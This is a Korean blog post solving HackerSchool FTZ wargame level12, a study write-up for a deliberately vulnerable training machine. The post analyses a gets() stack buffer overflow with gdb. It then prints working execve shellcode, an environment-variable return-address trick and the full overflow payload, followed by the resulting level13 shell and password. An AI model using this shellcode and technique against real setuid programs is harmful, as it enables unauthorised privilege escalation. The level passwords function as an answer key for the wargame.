[ftz] hackerschool level12 풀이

l hackerschool level12 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

login as: level12
level12@192.168.31.128's password:

 

 

 

level12 문제의 아이디인  level12 와 password인   it is like this 을 입력하여 level12의 유저로 접속합니다.

 

 

 

[level12@ftz level12]$ ls -l
total 28
-rwsr-x---    1 level13  level12     13771 Mar  8  2003 attackme
-rw-r-----    1 root     level12       204 Mar  8  2003 hint
drwxr-xr-x    2 root     level12      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level12      4096 Nov  2 09:25 tmp


 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level12 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

#include  <stdio.h>
#include  <stdlib.h>
#include  <unistd.h>

int main( void )
{
        char str[256];

        setreuid( 3093, 3093 );
        printf( "문장을 입력하세요. \n" );
        gets( str );
        printf( "%s\n", str );
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

앞 문제와 다르게 gets 방식을 이용해 문장을 입력받는 것을 볼 수 있습니다. gets로 입력받을 수 있는 바이트 수가 제한이 없기 때문에 버퍼 오버플로우 문제라는 것을 알 수 있습니다.

 

 

 

 

[level12@ftz level12]$ cp attackme ./tmp/level12
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ ls -l
total 16
-rwxr-x---    1 level12  level12     13771 Nov 14 02:58 level12

 

 

 

gdb를 사용하기 위해서 attackme 파일을 ./tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level12@ftz tmp]$ gdb level12
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   %ebp
0x08048471 <main+1>:    mov    %esp,%ebp
0x08048473 <main+3>:    sub    $0x108,%esp
0x08048479 <main+9>:    sub    $0x8,%esp
0x0804847c <main+12>:   push   $0xc15
0x08048481 <main+17>:   push   $0xc15
0x08048486 <main+22>:   call   0x804835c  <setreuid>
0x0804848b <main+27>:   add    $0x10,%esp
0x0804848e <main+30>:   sub    $0xc,%esp
0x08048491 <main+33>:   push   $0x8048538 <printf>
0x08048496 <main+38>:   call   0x804834c 
0x0804849b <main+43>:   add    $0x10,%esp
0x0804849e <main+46>:   sub    $0xc,%esp
0x080484a1 <main+49>:   lea    0xfffffef8(%ebp),%eax
0x080484a7 <main+55>:   push   %eax
0x080484a8 <main+56>:   call   0x804831c  <gets>
0x080484ad <main+61>:   add    $0x10,%esp
0x080484b0 <main+64>:   sub    $0x8,%esp
0x080484b3 <main+67>:   lea    0xfffffef8(%ebp),%eax
0x080484b9 <main+73>:   push   %eax
0x080484ba <main+74>:   push   $0x804854c
0x080484bf <main+79>:   call   0x804834c  <printf>
0x080484c4 <main+84>:   add    $0x10,%esp
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    0x0(%esi),%esi
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
End of assembler dump.

 

 

 

위의 코드가 attackme 파일 main의 어셈블러 코드입니다.  우리는 이 부분 중 빨간색으로 되어있는 부분을 집중적으로 보겠습니다.

 

 

1. 0x08048473 <main+3>:    sub    $0x108,%esp  0x08048479 <main+9>:    sub    $0x8,%esp

첫 번째 부분입니다. 앞의 문제와 똑같이 0x108을 10진수로 바꾸면 264이고, esp를 기준으로 264byte만큼 공간을 할당하는 것을 볼 수 있습니다. 0x8을 10진수로 바꾸면 8이고, esp를 기준으로 8byte 만큼 공간을 할당한 것을 볼 수 있습니다. hint 코드에서 보았던 str은 256byte이므로 위의 8byte는 dummy라는 것을 알 수 있습니다.

 

 

 

2. 0x080484a8 <main+56>:   call   0x804831c  <gets>

두 번째 부분입니다. hint 코드에서 확인해보면 gets에 str 한 개의 인자가 들어가는 것을 볼 수 있습니다. 이 부분은 어셈블리 코드에서 main+55를 의미합니다. push 되는 내용은 그 위인 main+49이고 str의 시작 위치를 찾기 위해 0xfffffef8을 2의 보수 취하면 아래와 같습니다. 앞의 fffff는 1의 보수를 취할 시 다 0이 되므로 ef8만 2의 보수를 취해보도록 하겠습니다.

 

111011111000 => 000100000111 => 000100001000 => 8 + 256 = 264

위의 결과로 str의 시작 위치는 esp - 264임을 알 수 있습니다.

 

 

 

그럼 이제 메모리 구조를 그림으로 나타내 보도록 하겠습니다.

 

 

 

level11번 문제와 같이 주소가 랜덤으로 계속 바뀔 수도 있음으로 이번 문제는 환경 변수를 이용해서 풀어보도록 하겠습니다. 환경 변수 사용 시 str의 시작 주소를 알 필요는 없기 때문에 gdb를 빠져나오도록 하겠습니다.

 

 

 

[level12@ftz tmp]$ export SHELL=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level12@ftz tmp]$ echo 'int main(){printf("ADDR: 0x%x\n",getenv("SHELL"));}'>getenv.c
[level12@ftz tmp]$ gcc -o getenv getenv.c
[level12@ftz tmp]$ ./getenv
ADDR: 0xbffffbaa

 

 

 

SHELL이라는 이름의 환경 변수를 만들어주었고, 위의 순서대로 실행하여 ./getenv 실행 시 하나의 주소를 얻을 수 있습니다. 바로 저 주소가 아래 페이로드의 return에 들어가는 주소이고, 그 주소로 return 하게 되면 환경변수에 넣어주었던 셸 코드를 실행할 것입니다.

 

 

그럼 마지막으로 페이로드를 작성해보도록 하겠습니다. gets 방식으로 입력을 받기 때문에 level11에서 작성했던 것과 조금 다르게 작성됩니다.

 

 

(python -c 'print "\x90"*268+"\xaa\xfb\xff\xbf"';cat) | ./attackme

 

 

[level12@ftz level12]$ (python -c 'print "\x90"*268+"\xaa\xfb\xff\xbf"';cat) | ./attackme
문장을 입력하세요.
? ?
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".


 

 

 

위의 페이로드를 입력하고, id 명령을 입력하면 uid가 level13인 것을 확인할 수 있습니다.  level13의 셸을 취득한 것이고, my-pass 입력 시 level13의 Password를 알 수 있습니다.

 

 

 

 

l level13 비밀번호

더보기

Level13 Password is "have no clue".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level14 풀이  (0) 2019.11.28
[ftz] hackerschool level13 풀이  (0) 2019.11.21
[ftz] hackerschool level11 풀이  (0) 2019.11.14
[ftz] hackerschool level10 풀이  (0) 2019.11.13
[ftz] hackerschool level9 풀이  (0) 2019.11.11

이 글을 공유하기

댓글

Designed by JB FACTORY